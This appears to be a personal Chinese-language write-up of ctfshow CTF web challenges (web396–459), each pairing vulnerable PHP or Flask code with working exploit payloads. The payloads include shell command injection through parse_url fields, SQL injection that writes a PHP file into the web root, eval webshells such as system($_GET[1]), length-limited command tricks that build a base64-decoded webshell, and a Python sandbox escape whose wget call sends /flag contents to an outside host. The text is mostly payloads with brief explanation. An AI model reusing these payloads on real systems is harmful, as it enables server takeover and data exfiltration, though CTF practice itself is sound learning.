仅作记录,从这里开始是因为这些题传get参数就行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php $url = 'http://username:password@hostname/path?arg=value#anchor' ;print_r(parse_url($url )); echo parse_url($url , PHP_URL_PATH);?> 结果---------------------------------------------------------------------------------------------------- Array ( [scheme] => http [host] => hostname [user] => username [pass] => password [path] => /path [query] => arg=value [fragment] => anchor )
web396 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); shell_exec('echo ' .$url ['host' ].'> ' .$url ['path' ]); }else { highlight_file(__FILE__ ); }
传入参数url,解析之,会将host的内容echo入path中。
payload:?url=1://ls
/var/www/html/1.txt
?url=1://cat%20fl0g.php
/var/www/html/1.txt
web397 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); }else { highlight_file(__FILE__ ); }
同上,只是会提前规定写入文件为/tmp之下的某个文件夹,这样就算写入也不能直接访问
网上的解法是:
payload:
?url=1://cat%20fl0g.php
/../var/www/html/1.txt
或者丰号闭合
?url=1://cat%20fl0g.php
/var/www/html/1.txt;echo cat fl0g.php
>a.txt
web398 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (!preg_match('/;/' , $url ['host' ])){ shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file(__FILE__ ); }
对host参数过滤丰号。但是不过滤path?
web399 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (!preg_match('/;|>/' , $url ['host' ])){ shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file(__FILE__ ); }
多过滤了host的;和>
不影响
web400 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (!preg_match('/;|>|http|https/i' , $url ['host' ])){ shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file(__FILE__ ); }
过滤了http,还是不影响
web401 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); var_dump($url ); if (!preg_match('/;|>|http|https|\|/i' , $url ['host' ])){ shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file(__FILE__ ); }
/i不区分大小写,还是没影响
web402 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); var_dump($url ); if (preg_match('/http|https/i' , $url ['scheme' ])){ die ('error' ); } if (!preg_match('/;|>|\||base/i' , $url ['host' ])){ shell_exec('echo ' .$url ['host' ].'> /tmp/' .$url ['path' ]); } }else { highlight_file(__FILE__ ); }
对scheme加过滤,没影响
web403 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (preg_match('/^((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)$/' , $url ['host' ])){ shell_exec('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } }else { highlight_file(__FILE__ ); }
^
和 $
:表示字符串的开始和结束。这意味着整个字符串必须完全匹配正则表达式。
((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}
:
2[0-4]\d
:匹配200到249的数字。2
开头,接一个0到4的数字,再接一个任意数字(0-9)。
25[0-5]
:匹配250到255的数字。25
开头,接一个0到5的数字。
[01]?\d\d?
:匹配0到199的数字。[01]?
表示可选的0或1,接一个或两个数字。
\.
:匹配一个点号.
。
((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}
:重复前三组数字和点号三次。这表示IPv4地址的前三个段。
(2[0-4]\d|25[0-5]|[01]?\d\d?)
:最后一个段,匹配范围和前三个段一样。
总结,这个正则表达式匹配格式为xxx.xxx.xxx.xxx
的IPv4地址,其中每个段都是0到255之间的数字
那就把url换成ipv4
?url=http://1.1.1.1/1;echo cat fl0g.php
>a.txt
web404 不知道为啥404的容器起不来
web405 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./' , $url ['host' ])){ if (preg_match('/^\/[A-Za-z0-9]+$/' , $url ['path' ])){ if (preg_match('/\~|\.|php/' , $url ['scheme' ])){ shell_exec('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } } } }else { highlight_file(__FILE__ ); echo 'parse_url 好强大' ; }
使用正则表达式检查URL的主机名是否是一个有效的IPv4地址。这个正则表达式匹配0-255之间的四个数字,用点分隔。使用正则表达式检查URL的路径是否是以斜杠开头,并且只包含字母和数字。使用正则表达式检查URL的方案是否包含 ~
、.
或 php
。如果前面的所有验证都通过了,则使用 shell_exec()
函数执行一个 curl
命令,构建完整的URL(方案+主机名+路径)来请求该URL。
?url=php://1.1.1.1/l1;echo%20fl0g>.php>a.txt
这个思路用不了了,因为path参数不能通过
所以把注入点放在host上。
url=php://1.1.1.1;echo%20cat%20fl0g.php
>a.txt;/1a
web404 好吧原来是彩蛋,注释提示要访问404.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php error_reporting(0 ); if (isset ($_GET ['url' ])){ $url = parse_url($_GET ['url' ]); if (preg_match('/((2[0-4]\d|25[0-5]|[01]?\d\d?)\.){3}(2[0-4]\d|25[0-5]|[01]?\d\d?)./' , $url ['host' ])){ if (preg_match('/^\/[A-Za-z0-9]+$/' , $url ['path' ])){ shell_exec('curl ' .$url ['scheme' ].$url ['host' ].$url ['path' ]); } } }else { highlight_file(__FILE__ ); }
同405
web406 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php require 'config.php' ;highlight_file(__FILE__ ); $url =$_GET ['url' ];if (filter_var ($url ,FILTER_VALIDATE_URL)){ $sql = "select * from links where url ='{$url} '" ; $result = $conn ->query($sql ); }else { echo '不通过' ; }
?url=http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23
查询变为:select * from links where url =’http://www.baidu.com;'union/**/select/**/1,(select/**/flag/**/from/**/flag)/**/into/**/outfile/**/"/var/www/html/flag.txt"%23'
但好像不行,要这样:
url=0://www.baidu.com;'union/**/select/**/1,0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e/**/into/**/outfile/**/"/var/www/html/4.php"%23
其中的编码为:
1 <?php require 'config.php' ; $sql ='select flag from flag into outfile "/var/www/html/1.txt"; $result = $conn->query($sql); var_dump($result); ?>
1 2 3 4 select * from links where url = '0://www.baidu.com;' union select 1 , 0x3c3f70687020726571756972652027636f6e6669672e706870273b2473716c203d2773656c65637420666c61672066726f6d20666c616720696e746f206f757466696c6520222f7661722f7777772f68746d6c2f312e74787422273b24726573756c74203d2024636f6e6e2d3e7175657279282473716c293b7661725f64756d702824726573756c74293b203f3e into outfile "/var/www/html/4.php"#
web407 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 <?php ?> "@123.php 这个错误 email=" <?= system($_GET [1 ])?> "@1.php 这个通过 [EMAIL_FILTER]([php代码审计危险函数总结 | Wh0ale's Blog](https://wh0ale.github.io/2019/08/21/php%E4%BB%A3%E7%A0%81%E5%AE%A1%E8%AE%A1%E5%8D%B1%E9%99%A9%E5%87%BD%E6%95%B0%E6%80%BB%E7%BB%93/)) # web409 ```php highlight_file(__FILE__); error_reporting(0); $email =$_GET ['email'];if(filter_var ($email ,FILTER_VALIDATE_EMAIL)){ $email =preg_replace('/.flag/', '', $email ); eval($email ); }
他把双引号前看做一个php脚本 前面的“也非法 .flag会将flag前的一个字符也一起替换为空格 ?>闭合,
问题:
?email=”flagls;?>”@12222.qq
?email=”flagsystem($_GET[1]);?>”@12222.qq&1=cat%20/flag
web410 1 2 3 4 5 6 7 8 9 10 11 highlight_file(__FILE__ ); error_reporting(0 ); include ('flag.php' );$b =$_GET ['b' ];if (filter_var ($b ,FILTER_VALIDATE_BOOLEAN)){ if ($b =='true' || intval($b )>0 ){ die ('FLAG NOT HERE' ); }else { echo $flag ; } }
这段代码的目的是检查GET请求中的b
参数是否是一个非真布尔值,如果是,就输出$flag
变量的值。如果b
参数是真布尔值,脚本会输出FLAG NOT HERE
并终止执行。
if(filter_var ($b,FILTER_VALIDATE_BOOLEAN可能的返回值:
如果是 “1”, “true”, “on” 以及 “yes”,则返回 true。
如果是 “0”, “false”, “off”, “no” 以及 “”,则返回 false。
否则返回 NULL。
web411 1 2 3 4 5 6 7 8 9 10 11 highlight_file(__FILE__ ); error_reporting(0 ); include ('flag.php' );$b =$_GET ['b' ];if (filter_var ($b ,FILTER_VALIDATE_BOOLEAN)){ if ($b =='true' || intval($b )>0 ||$b =='on' || $b =='ON' ){ die ('FLAG NOT HERE' ); }else { echo $flag ; } }
过滤了on
web412 1 2 3 4 5 6 7 8 highlight_file(__FILE__ ); $ctfshow =$_POST ['ctfshow' ];if (isset ($ctfshow )){ file_put_contents('flag.php' , '//' .$ctfshow ,FILE_APPEND); include ('flag.php' ); }
使用 file_put_contents
函数将 //
和 $ctfshow
的内容追加写入到 flag.php
文件中。FILE_APPEND
表示追加到文件末尾。
这题考察 file_put_contents 函数,这个中的 FILE_APPEND 防止删除原有文件内容,这里拼接进去的内容会用 // 注释掉,这里使用 %0a 绕过即可
ctfshow=%0ahighlight_file(FILE );
web413
没做出来
web418 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 $key = 0 ;$clear ='clear.php' ;highlight_file(__FILE__ ); $ctfshow =$_GET ['ctfshow' ];include ($clear );extract($_POST ); if ($key ===0x36d ){ eval ('<?php ' .$ctfshow .'?>' ); }else { $die ?die ('FLAG_NOT_HERE' ):clear($clear ); } function clear ($log ) { shell_exec('rm -rf ' .$log ); }
key=0x36b&clear=;echo ls
> 1.txt&die=0
web419 1 2 3 4 5 6 7 highlight_file(__FILE__ ); $code = $_POST ['code' ];if (strlen($code ) < 17 ){ eval ($code ); }
post传🐎 get传参
但是没做出来
只能code=echo tac fl*
;
web420 1 2 3 4 5 6 7 highlight_file(__FILE__ ); $code = $_POST ['code' ];if (strlen($code ) < 8 ){ system($code ); }
code=nl ../*
web421 1 2 3 4 5 6 7 highlight_file(__FILE__ ); $code = $_POST ['code' ];if (strlen($code ) < 6 ){ system($code ); }
code=nl f*
web422 一些原始代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 from flask import Flaskfrom flask import requestimport osapp = Flask(__name__) @app.route('/' ) def app_index (): code = request.args.get('code' ) if code: return eval (code) return 'where is flag?<!-- /?code -->' if __name__=="__main__" : app.run(host='0.0.0.0' ,port=80 )
1 2 3 4 5 6 7 highlight_file(__FILE__ ); $code = $_POST ['code' ];if (strlen($code ) < 5 ){ system($code ); }
code=nl *
419-422另解 关于419-422,可用别的方法,看这里 . 可以依次执行分割后的命令 看这里
15位可控字符下的任意命令执行 如需执行 echo <?php eval($_GET[1]);?>>1
1 2 3 4 5 echo \<?php >1 echo eval\(>>1 echo \$_GET>>1 echo \[1\]>>1 echo \)\;?>>1
7位可控字符下的任意命令执行 1>a或者w>b分别可以创建a和b两个空文件夹。
ls>c会将目录下面的文件名写入到c文件中;ls -t>0会将文件名按照创建的时间倒叙写入0文件中。并且自动换行。
\作为转义符,转义之后的’'是用来换行分隔,也就是换行也是连接的。
例如
1 2 3 4 5 <?php if (strlen($_GET [1 ])<8 ){ echo shell_exec($_GET [1 ]); } ?>
假设我产要写入<?php echo phpinfo();
echo PD9waHAgcGhwaW5mbygpOw== | base64 -d >1.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 w>hp w>1.p\\ w>d\>\\ w>\-\\ w>e64\\ w>bas\\ w>=\|\\ w>w=\\ w>gpO\\ w>mby\\ w>aW5\\ w>Ghw\\ w>Agc\\ w>waH\\ w>PD9\\ w>o\ \\ w>ech\\ ls -t>0 sh 0
倒叙新建文件名,然后通过ls -t>0,将刚才的顺序再倒序然后写入到0文件中,然后用sh将0当作脚本执行。
5位可控字符下的任意命令执行 ls -t>0 超过了5位
1 2 3 4 5 6 7 >ls\\ ls>a >\ \\ >-t\\ >\>0 ls>>a
这就将ls -t>0写在了a脚本中,如果要用的话直接sh a,之后写入自己的命令按照7位的逻辑写就行了。
4位可控字符下的任意命令执行 ls -th>f 超过了4位
1 2 3 4 5 6 7 8 9 >f\> >ht- >sl >dir *>v >rev *v>0 cat 0
这就将ls -th>f写入到了脚本0当中,后面就可以直接按照7位的那样写入我们要执行的命令,最后使用sh 0执行ls -th>f,然后将命令写入了f脚本中,执行sh f即可。
注意: `>py\这里看着是5个字符,超过了4个的限制,实际上是因为 shell环境需要输入\产生\,但是php 代码exec时,只需要输入\即可产生\,比如 *exec(“>py\”)*即可。
这上面的所以payload均在linux终端shell里面进行操作,因此需要’'的地方都进行了再加’'转义,也就变成了’\‘,如果在命令注入函数里面输入时,’'不需要用’'转义。
web423 唯一的提示
只能看wp,os.popen用以打开管道。os.popen(command[, mode[, bufsize]])
关于popen方法 1 2 3 4 5 6 command -- 使用的命令。 mode -- 模式权限可以是 'r'(默认) 或 'w'。 bufsize -- 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲(大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;对于其它文件,它是全缓冲。如果没有改参数,使用系统的 --此方法返回连接到管道的打开的文件对象默认值。
示例:
1 2 3 4 5 6 7 import os, sysa = 'mkdir nwdir' b = os.popen(a,'r' ,1 ) print b
结果:
1 open file 'mkdir nwdir', mode 'r' at 0x81614d0
?code=os.popen(“ls /“).read()
web424-428 ?code=open(“/flag”).read()
据说,425过滤了os
426过滤了os|open
427过滤了system
但是过滤有问题
web429-431 过滤了read,但是可以在open前加空格绕过
?code=%20open(“/flag”).read()
web432-web449 开始正常过滤
1 ?code=str ('' .__class__.__bases__[0 ].__subclasses__()[185 ].__init__.__globals__['__buil' 'tins__' ]['__imp' +'ort__' ]('o' +'s' ).__dict__['pop' +'en' ]('wget http://mc.krkr.xyz:8888/?shell=cat /flag' ))
这段代码利用Python的动态特性来执行系统命令,最终目标是通过wget
命令从远程服务器获取某些信息。在这种情况下,它试图读取名为/flag
的文件的内容,并将其发送到指定的服务器。代码的整体构造非常复杂且难以理解,可能是为了躲避静态代码分析和安全检查。以下是对这段代码的详细分析
1 2 3 4 5 6 '' .__class__.__bases__[0 ] .__subclasses__() .__init__.__globals__ ['__buil' 'tins__' ] ['__imp' +'ort__' ]('o' +'s' ) .__dict__['pop' +'en' ]('wget http://mc.krkr.xyz:8888/?shell=`cat /flag`' )
没出来这个,curl失败。
web450 1 2 3 4 5 6 7 8 9 10 11 12 highlight_file(__FILE__ ); $ctfshow =$_GET ['ctfshow' ];if (preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/' , $ctfshow )){ eval ("($ctfshow )();" ); }
?ctfshow=phpinfo^phpinfo^phpinfo
web451 1 2 3 4 5 6 7 8 $ctfshow =$_GET ['ctfshow' ];if (preg_match('/^[a-z]+[\^][a-z]+[\^][a-z]+$/' , $ctfshow )){ if (!preg_match('/phpinfo/' , $ctfshow )){ eval ("($ctfshow )();" ); } }
phpanfo^phpznfo^phprnfo
^异或
p ^ p ^ p
= 112 = p
h ^ h ^ h
= 104 = h
p ^ p ^ p
= 112 = p
a ^ z ^ r
= 105 = i
n ^ n ^ n
= 110 = n
f ^ f ^ f
= 102 = f
o ^ o ^ o
= 111 = o
web452 1 2 3 4 5 6 $ctfshow =$_GET ['ctfshow' ];if (!preg_match('/\'|\"|[0-9]|\{|\[|\~|\^|phpinfo|\$/i' , $ctfshow )){ eval ($ctfshow ); }
正则表达式过滤了单引号、双引号、数字、大括号、方括号、波浪线、异或、phpinfo
和美元符号
?ctfshow=echo%20cat%20/flaag
;
web453-456
访问提示参数,查看index.php:
1 2 on('start' , function ($server ) { echo "Swoole http server is started at http://0.0.0.0:80\n" ; }); $http ->on('request' , function ($request , $response ) { list ($controller , $action ) = explode('/' , trim($request ->server['request_uri' ], '/' )); $route = array ('ctf' ); $method = array ('show' ,'file' ,'exec' ); if (in_array($controller , $route ) && in_array($action , $method )){ (new $controller )->$action ($request , $response ); }else { $response ->end(' ' ); } }); $http ->start(); class ctf { public function show ($request ,$response ) { $response ->header('Content-Type' , 'text/html; charset=utf-8' ); $s =$request ->post['s' ]; if (isset ($s )){ $response ->end(file_get_contents($s )); }else { $response ->end('s not found' ); } } public function file ($request ,$response ) { $response ->header('Content-Type' , 'text/html; charset=utf-8' ); $s =$request ->post['s' ]; if (isset ($s )){ file_put_contents('shell.php' , $s ); $response ->end('file write done in /var/www/shell.php' ); }else { $response ->end('s not found' ); } } public function exec ($request ,$response ) { system('php shell.php' ); $response ->end('command exec done' ); } }
也就是说,当我们访问/ctf/file post传入的s会写入shell.php中,然后当我们访问/ctf/exec时,就会去执行刚才的shell.php
s=
非常奇怪 curl不了,前面的题也是这样
web457 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 include ('flag.php' );abstract class user { public $username ; public $password ; function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } abstract public function check ( ) ; } class visitor extends user { public function check ( ) { return ($this ->username!=='admin' && $this ->password!=='admin888' ); } } class admin extends user { public function check ( ) { $u = call_user_func($this ->password); return $u =='admin' ; } } $u =$_GET ['u' ];$p =$_GET ['p' ];if (isset ($u )&&isset ($p )){ if ((new visitor($u ,$p ))->check()){ die ('welcome visitor :' .$u ); } if ((new admin($u ,$p ))->check()){ die ('welcome admin :' .$u .' flag is :' .$flag ); } }
为了绕过验证并获取 flag,需要构造特定的 GET 参数,使得 visitor
类的 check
方法返回 false
,而 admin
类的 check
方法返回 true
。visitor
类的 check
方法要求用户名和密码不能同时是 'admin'
和 'admin888'
。
进入第二个语句即可
?u=admin&p=phpinfo
web458 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 include ('flag.php' );abstract class user { public $username ; public $password ; function __construct ($u ,$p ) { $this ->username=$u ; $this ->password=$p ; } abstract public function check ( ) ; } class visitor extends user { public function check ( ) { return ($this ->username!=='admin' && $this ->password!=='admin888' ); } } class admin extends user { public function check ( ) { $u = call_user_func($this ->password); return $u ==='admin' ; } } $u =$_GET ['u' ];$p =$_GET ['p' ];if (isset ($u )&&isset ($p )){ if ((new visitor($u ,$p ))->check()){ die ('welcome visitor :' .$u ); } if ((new admin($u ,$p ))->check()){ die ('welcome admin :' .$u .' flag is :' .$flag ); } }
visitor 类 的 check
方法会检查用户名和密码是否不等于 'admin'
和 'admin888'
。
admin 类 的 check
方法会调用密码字符串作为一个函数,并检查返回值是否等于 'admin'
。
web459 1 2 3 4 5 6 7 8 9 include ('flag.php' );$u =$_GET ['u' ];$p =$_GET ['p' ];if (isset ($u )&&isset ($p )){ copy($u , $p .'.php' ); }
?u=php://filter/convert.base64-encode/resource=flag.php&p=1 然后访问1.php